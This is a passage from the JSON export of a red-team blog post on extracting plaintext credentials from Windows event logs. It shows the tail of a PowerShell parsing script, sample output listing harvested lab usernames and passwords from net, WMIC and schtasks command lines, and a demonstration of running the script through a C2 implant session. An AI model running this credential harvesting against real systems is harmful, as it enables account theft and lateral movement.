output\n\t\t\t$result = New-Object psobject -Property @{\n\t\t\t\tComputer = $event.System.Computer;\n\t\t\t\tUsername = $match.Groups['username'].Value;\n\t\t\t\tPassword = $match.Groups['password'].Value;\n\t\t\t\tCommandline = $command;\n\t\t\t\tEventTimestamp = $date;\n\t\t\t}\n\n\t\t\t[void]$results.Add($result);\n\t\t}\n\t}\n}\n\n$results | Select Username,Password,EventTimestamp,Computer,Commandline;<\/code><\/pre>\n<\/details>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Expected_Output\"><\/span>Expected Output<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">The output from this script should look like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">Username               Password                             EventTimestamp        Computer         Commandline\n--------               --------                             --------------        --------         -----------\n\"Backup Administrator\" f6f620da-3c7e-40d2-8b31-86b20a9afef8 9\/13\/2024 4:24:56 PM  WKST-001.lab.net \"C:\\Windows\\system32\\net.exe\" user \"Backup Administrator\" f6f620da-3c7e-40d2-8b31-86b20a9afef8 \/ADD \/Y\n\"Backup Administrator\" f6f620da-3c7e-40d2-8b31-86b20a9afef8 9\/13\/2024 4:24:56 PM  WKST-001.lab.net C:\\Windows\\system32\\net1 user \"Backup Administrator\" f6f620da-3c7e-40d2-8b31-86b20a9afef8 \/ADD \/Y\njohn.doe               1qaz!QAZ                             9\/13\/2024 10:54:40 PM WKST-001.lab.net \"C:\\Windows\\system32\\net.exe\" user john.doe 1qaz!QAZ \/domain\njohn.doe               1qaz!QAZ                             9\/13\/2024 10:54:40 PM WKST-001.lab.net C:\\Windows\\system32\\net1 user john.doe 1qaz!QAZ \/domain\nadministrator@lab.net  1qaz!QAZ                             9\/13\/2024 10:58:02 PM WKST-001.lab.net \"C:\\Windows\\System32\\Wbem\\WMIC.exe\" \/node:192.168.1.2 \/user:administrator@lab.net \/password:1qaz!QAZ computersystem get\nadministrator@lab.net  1qaz!QAZ                             9\/14\/2024 11:15:54 PM WKST-001.lab.net \"C:\\Windows\\system32\\schtasks.exe\" \/CREATE \/S 192.168.1.103 \/RU SYSTEM \/U administrator@lab.net \/P 1qaz!QAZ \/SC ONCE \/ST 23:59 \/TN Test \/TR hostname \/F<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Running_the_SpecterScript\"><\/span>Running the SpecterScript<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"\">Now that we&#8217;ve generated the SpecterScript, we&#8217;ll demonstrate how it is used and what the output looks like. First, establish an interactive session with a Specter running with Adminstrative credentials. Then we search for the technique in the Command Lookup panel and insert it into the Command Builder. We can pretty much launch the technique here with the default parameters.<\/p>\n\n\n\n<figure data-wp-context=\"{&quot;imageId&quot;:&quot;69db58223af22&quot;}\" data-wp-interactive=\"core\/image\" data-wp-key=\"69db58223af22\" class=\"wp-block-image alignwide size-full wp-lightbox-container\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"1858\" height=\"1049\" data-wp-class--hide=\"state.isContentHidden\" data-wp-class--show=\"state.isContentVisible\" data-wp-init=\"callbacks.setButtonStyles\" data-wp-on--click=\"actions.showLightbox\" data-wp-on--load=\"callbacks.setButtonStyles\" data-wp-on-window--resize=\"callbacks.setButtonStyles\" src=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-builder.png?resize=1858%2C1049&#038;quality=100&#038;ssl=1\" alt=\"\" class=\"wp-image-2766\" srcset=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-builder.png?w=1858&amp;quality=100&amp;ssl=1 1858w, https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-builder.png?resize=768%2C434&amp;quality=100&amp;ssl=1 768w, https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-builder.png?resize=1536%2C867&amp;quality=100&amp;ssl=1 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><button\n\t\t\tclass=\"lightbox-trigger\"\n\t\t\ttype=\"button\"\n\t\t\taria-haspopup=\"dialog\"\n\t\t\taria-label=\"Enlarge\"\n\t\t\tdata-wp-init=\"callbacks.initTriggerButton\"\n\t\t\tdata-wp-on--click=\"actions.showLightbox\"\n\t\t\tdata-wp-style--right=\"state.imageButtonRight\"\n\t\t\tdata-wp-style--top=\"state.imageButtonTop\"\n\t\t>\n\t\t\t<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"12\" height=\"12\" fill=\"none\" viewBox=\"0 0 12 12\">\n\t\t\t\t<path fill=\"#fff\" d=\"M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z\" \/>\n\t\t\t<\/svg>\n\t\t<\/button><\/figure>\n\n\n\n<p class=\"\">Running that SpecterScript will generate output that looks similar to what is shown below:<\/p>\n\n\n\n<figure data-wp-context=\"{&quot;imageId&quot;:&quot;69db58223b14a&quot;}\" data-wp-interactive=\"core\/image\" data-wp-key=\"69db58223b14a\" class=\"wp-block-image alignwide size-full wp-lightbox-container\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"1824\" height=\"852\" data-wp-class--hide=\"state.isContentHidden\" data-wp-class--show=\"state.isContentVisible\" data-wp-init=\"callbacks.setButtonStyles\" data-wp-on--click=\"actions.showLightbox\" data-wp-on--load=\"callbacks.setButtonStyles\" data-wp-on-window--resize=\"callbacks.setButtonStyles\" src=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-output-1.png?resize=1824%2C852&#038;quality=100&#038;ssl=1\" alt=\"\" class=\"wp-image-2783\" srcset=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-output-1.png?w=1824&amp;quality=100&amp;ssl=1 1824w, https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-output-1.png?resize=768%2C359&amp;quality=100&amp;ssl=1 768w, https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-command-output-1.png?resize=1536%2C717&amp;quality=100&amp;ssl=1 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><button\n\t\t\tclass=\"lightbox-trigger\"\n\t\t\ttype=\"button\"\n\t\t\taria-haspopup=\"dialog\"\n\t\t\taria-label=\"Enlarge\"\n\t\t\tdata-wp-init=\"callbacks.initTriggerButton\"\n\t\t\tdata-wp-on--click=\"actions.showLightbox\"\n\t\t\tdata-wp-style--right=\"state.imageButtonRight\"\n\t\t\tdata-wp-style--top=\"state.imageButtonTop\"\n\t\t>\n\t\t\t<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"12\" height=\"12\" fill=\"none\" viewBox=\"0 0 12 12\">\n\t\t\t\t<path fill=\"#fff\" d=\"M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z\" \/>\n\t\t\t<\/svg>\n\t\t<\/button><\/figure>\n\n\n\n<p class=\"\">Alright, that ran pretty well. We parsed through about 15K events and extracted 7 credentials in about 3 seconds.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"\">That brings us to the end of another fun tutorial! I honestly thought this was going to be a quick and easy script and I fell down the rabbit hole and ended up with a whole new module. Hopefully, you learn some PowerShell or C# techniques that you can leverage for future engagements. Good luck and happy hunting!<\/p>\n<style class=\"advgb-styles-renderer\">#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}@media screen and (max-width: 1023px) {#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}}@media screen and (max-width: 767px) {#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}}#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}@media screen and (max-width: 1023px) {#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}}@media screen and (max-width: 767px) {#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}}#advgb-cols-382bb6e3-0238-4032-bdf9-8da32eb220ba{}@media screen and (max-width: 1023px) {#advgb-cols-382bb6e3-0238-4032-bdf9-8da32eb220ba{}}@media screen and (max-width: 767px) {#advgb-cols-382bb6e3-0238-4032-bdf9-8da32eb220ba{}}#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}@media screen and (max-width: 1023px) {#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}}@media screen and (max-width: 767px) {#advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9>.advgb-column-inner{}}#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}@media screen and (max-width: 1023px) {#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}}@media screen and (max-width: 767px) {#advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f>.advgb-column-inner{}}<\/style>","protected":false},"excerpt":{"rendered":"<p>Overview During a recent engagement, I observed a lot of members of a particular organization authenticating with remote systems and services over the commandline with username and password in plaintext. This ranged from domain administrators using the net user command to create user accounts and updated passwords to database administrators managing their instances with commandline [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advgb_blocks_editor_width":"","advgb_blocks_columns_visual_guide":"","_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":true,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[2,17,35],"tags":[14,16],"class_list":["post-2664","post","type-post","status-publish","format-standard","hentry","category-blog-posts","category-offensive-security","category-red-team-techniques","tag-powershell","tag-red-team"],"author_meta":{"display_name":"pracsec","author_link":"https:\/\/practicalsecurityanalytics.com\/author\/michael-lester-main\/"},"featured_img":null,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","coauthors":[],"tax_additional":{"categories":{"linked":["<a href=\"https:\/\/practicalsecurityanalytics.com\/category\/blog-posts\/\" class=\"advgb-post-tax-term\">Blog Posts<\/a>","<a href=\"https:\/\/practicalsecurityanalytics.com\/category\/blog-posts\/offensive-security\/\" class=\"advgb-post-tax-term\">Offensive Security<\/a>","<a href=\"https:\/\/practicalsecurityanalytics.com\/category\/blog-posts\/red-team-techniques\/\" class=\"advgb-post-tax-term\">Red Team Techniques<\/a>"],"unlinked":["<span class=\"advgb-post-tax-term\">Blog Posts<\/span>","<span class=\"advgb-post-tax-term\">Offensive Security<\/span>","<span class=\"advgb-post-tax-term\">Red Team Techniques<\/span>"]},"tags":{"linked":["<a href=\"https:\/\/practicalsecurityanalytics.com\/category\/blog-posts\/red-team-techniques\/\" class=\"advgb-post-tax-term\">powershell<\/a>","<a href=\"https:\/\/practicalsecurityanalytics.com\/category\/blog-posts\/red-team-techniques\/\" class=\"advgb-post-tax-term\">red team<\/a>"],"unlinked":["<span class=\"advgb-post-tax-term\">powershell<\/span>","<span class=\"advgb-post-tax-term\">red team<\/span>"]}},"comment_count":"1","relative_dates":{"created":"Posted 2 years ago","modified":"Updated 2 years ago"},"absolute_dates":{"created":"Posted on September 14, 2024","modified":"Updated on September 17, 2024"},"absolute_dates_time":{"created":"Posted on September 14, 2024 6:35 am","modified":"Updated on September 17, 2024 3:46 am"},"featured_img_caption":"","series_order":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbnFRW-GY","_links":{"self":[{"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/posts\/2664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/comments?post=2664"}],"version-history":[{"count":6,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/posts\/2664\/revisions"}],"predecessor-version":[{"id":2880,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/posts\/2664\/revisions\/2880"}],"wp:attachment":[{"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/media?parent=2664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/categories?post=2664"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/practicalsecurityanalytics.com\/wp-json\/wp\/v2\/tags?post=2664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}